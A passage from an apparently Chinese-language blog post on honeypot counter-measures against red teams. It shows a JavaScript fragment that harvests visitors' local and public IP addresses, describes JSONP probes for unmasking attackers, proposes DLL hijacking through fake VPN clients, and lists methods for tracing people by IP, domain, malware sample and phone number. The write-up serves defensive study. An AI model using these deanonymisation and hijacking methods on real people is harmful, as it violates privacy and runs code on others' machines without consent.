border-box;"> });</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }, <span class="code-snippet__number" style="box-sizing: border-box;">1000</span>);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//insert IP addresses into the page</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> getIPs(function(ip){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var li = document.createElement(<span class="code-snippet__string" style="box-sizing: border-box;">"li"</span>);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> li.textContent = ip;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//local IPs</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">if</span> (ip.match(/^(<span class="code-snippet__number" style="box-sizing: border-box;">192</span>\<span class="code-snippet__number" style="box-sizing: border-box;">.168</span>\.|<span class="code-snippet__number" style="box-sizing: border-box;">169</span>\<span class="code-snippet__number" style="box-sizing: border-box;">.254</span>\.|<span class="code-snippet__number" style="box-sizing: border-box;">10</span>\.|<span class="code-snippet__number" style="box-sizing: border-box;">172</span>\.(<span class="code-snippet__number" style="box-sizing: border-box;">1</span>[<span class="code-snippet__number" style="box-sizing: border-box;">6</span><span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]|<span class="code-snippet__number" style="box-sizing: border-box;">2</span>\d|<span class="code-snippet__number" style="box-sizing: border-box;">3</span>[<span class="code-snippet__number" style="box-sizing: border-box;">01</span>]))/))</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"localip"</span>).appendChild(li);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//IPv6 addresses</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">else</span> <span class="code-snippet__keyword" style="box-sizing: border-box;">if</span> (ip.match(/^[a-f0<span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]{<span class="code-snippet__number" style="box-sizing: border-box;">1</span>,<span class="code-snippet__number" style="box-sizing: border-box;">4</span>}(:[a-f0<span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]{<span class="code-snippet__number" style="box-sizing: border-box;">1</span>,<span class="code-snippet__number" style="box-sizing: border-box;">4</span>}){<span class="code-snippet__number" style="box-sizing: border-box;">7</span>}$/))</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"ipv6"</span>).appendChild(li);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//assume the rest are public IPs</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">else</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"publicip"</span>).appendChild(li);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> });</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;">
JSONP 探針:
現在基本的蜜罐都具備該功能了,也就不多說了,溯源身份反制的利器,拼的就是各大src 不修復的JSONP 接口。
vpn 類的主動釣魚反制
現在基本做個vpn 的2級域名蜜罐,沒有哪個紅隊不關注這個的,那么利用這個心里,可以這樣進行反制。
360connect / sangfor vpn 這些連接的客戶端在連接的時候都會下 dll 進去,那么針對這個,我們可以做個dll 劫持,正常用戶使用的時候,也是會按照這個企業的配置,下發這個企業的 dll ,因為證書自簽的,所以蜜罐上面可以自己簽一個sabgfor的證書,攻擊者也不會發現有啥不一樣的。(Medicean表哥提供的思路)
NO.5 ioc類信息的溯源思路
ip 溯源
排除cdn等的干擾拿到真實ip 后
常規手法:whois 、域名反查 、反滲透
小tip:使用威脅情報進行綜合分析,查看該ip他人對該ip 打的標簽、歷史解析記錄、歷史變更記錄、以及該ip上面關聯的相關樣本,這些能夠獲取到進行進一步關聯分析
域名溯源
歷史解析記錄、以及whois 手法的溯源關聯
紅隊人員溯源
常規社交溯源流程(常見的社交論壇、招聘類、app進行身份定位)
病毒源碼溯源
拿到樣本,有些樣本里面很可能直接會有debug 信息、以及編譯時未處理的編譯信息,里面可以結合進一步進行溯源跟蹤、以及結合https://www.virustotal.com/ 進一步進行追蹤。
舉例: 比如go 編寫的樣本,一些信息是能夠直接拿到作為進一步溯源分析到方法。
https://github.com/boy-hack/go-strip
手機號溯源
可以通過各類社交接口進行定位
部分資料參考
http://noahblog.#/burp-suite-rce/
https://mp.weixin.qq.com/s/V0WdN9CMrTqo6qInuwyR6g
https://mp.weixin.qq.com/s/GownJgbAbp7E_zKqFjATYg
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA
https://www.52pojie.cn/thread-954500-1-1.html
https://bbs.pediy.com/thread-268554.htm
https://blog.csdn.net/qq_41874930/article/details/110178462
https://mp.weixin.qq.com/s/tl17-Qz-VXpSlZtZWDgeHg
https://mp.weixin.qq.com/s/qEEO-1lyFbYS7Saa2L-n0A
https://xz.aliyun.com/t/8385